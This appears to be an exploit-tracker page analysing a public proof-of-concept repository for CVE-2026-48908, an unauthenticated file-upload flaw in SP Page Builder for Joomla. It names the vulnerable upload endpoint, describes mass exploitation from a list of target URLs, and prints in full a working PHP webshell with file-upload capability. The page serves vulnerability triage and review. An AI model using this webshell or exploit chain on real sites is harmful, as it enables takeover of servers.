cazzysoci/cve-2026-48908

GitHubRepository PoCExploit

PoC files

3 files

File viewing is interactive and short-lived. Downloads are password-protected ZIP archives using password eip.

GitHub
Analysisdeepseek-v4-pro:cloud ·

Technical assessment

Python script that exploits CVE-2026-48908 in SP Page Builder for Joomla by uploading a crafted ZIP file containing a PHP webshell via the unauthenticated custom icon upload endpoint, then checks for successful shell access.

Backdoor review

No backdoor observed in reviewed code

The PoC script exploits CVE-2026-48908 by uploading a ZIP containing a PHP webshell. The webshell provides file upload functionality on the target, which is the expected exploit behavior. No concealed backdoor, credential theft, persistence, or unrelated payload was observed.

ClassificationExploit
Model confidence98%
AuthenticationNot required
LanguagesPython
Target softwareSP Page Builder for Joomla
Attack typesRemote Code ExecutionUnrestricted File Upload
Evidence & reasoningClassification basis · observed behavior · safety review
Technical evidence

Classification basis and observed behavior

Classification basis

The script actively uploads a PHP webshell to a target server and verifies its execution, which constitutes exploitation rather than mere detection or scanning.

poc.py:75-104

Requirements

  • Target URL running vulnerable SP Page Builder extension (versions 1.0.0-6.6.1)poc.py:110-114
  • List of target URLs provided as input filepoc.py:139-140

Observed behavior

  • Constructs a ZIP archive containing a PHP webshell disguised as an icon font uploadpoc.py:31-49
  • Sends POST request to the vulnerable upload endpoint without authenticationpoc.py:51-58
  • Checks if the uploaded PHP shell is accessible and executable by verifying HTTP 200 response containing the marker 'Shinday'poc.py:60-67
  • Writes successfully exploited shell URLs to result.txtpoc.py:128-131
Safety-review evidence

Behaviors behind the backdoor verdict

Observables

Webshell
GIF89a;<?php $s="Shinday";echo'<center><pre><br><br><h1 style="color:red;">'.$s.'</h1><br>'.php_uname()."\\n".'<br><br><br><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>';if($_POST){$t=$_FILES['__']['tmp_name'];$n=$_FILES['__']['name'];if(@move_uploaded_file($t,$n)){echo'<b style="color:green;">Upload success</b><br><br><a href="'.$n.'" target="_blank">Click here</a>';}elseif(@copy($t,$n)){echo'<b style="color:green;">Upload success(copy)</b><br><br><a href="'.$n.'" target="_blank">Click here</a>';}else{echo'<b style="color:red;">Upload failed</b>';}}?>The PHP payload embedded in the ZIP provides a file upload form on the compromised server. This is the intended exploit outcome for the CVE.poc.py:32
Exploit Mechanism
ZIP upload to /index.php?option=com_sppagebuilder&task=asset.uploadCustomIconThe script uploads a crafted ZIP containing a PHP file to the vulnerable endpoint, consistent with the described arbitrary file upload vulnerability.poc.py:51-58poc.py:110-115
Review boundaries

What the analysis did not establish

  • Only one text file (poc.py) was provided; two additional files in the repository were omitted from the evidence packet.
  • The evidence packet reports complete_artifact_coverage as false, indicating not all repository content was included.
  • Two additional files in the repository (total 3 files) were not provided as text and were not analyzed. Their content is unknown, but the PoC script itself shows no backdoor behavior.
Model interpretation

This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.

Linked vulnerabilities

1